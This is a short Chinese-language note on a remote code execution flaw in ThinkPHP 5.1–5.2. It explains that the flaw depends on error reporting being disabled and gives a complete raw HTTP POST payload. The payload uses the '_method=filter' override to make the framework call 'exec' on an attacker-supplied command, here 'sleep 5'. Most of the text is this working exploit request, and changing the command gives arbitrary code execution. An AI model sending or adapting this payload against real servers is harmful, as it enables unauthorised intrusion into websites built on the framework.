Thinkphp5.1 ~ 5.2代码执行漏洞

需要在library/think/Error.php中设置：

error_reporting(0);

据作者博客中说的：

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

http://proxy.boomeye.com:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/
设置前（默认情况下）：

error_reporting(E_ALL);

设置后：


payload：

POST /thinkphp-5.1.29/html/public/index.php HTTP/1.1
Host: 192.168.96.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: close

c=exec&f=sleep%205&_method=filter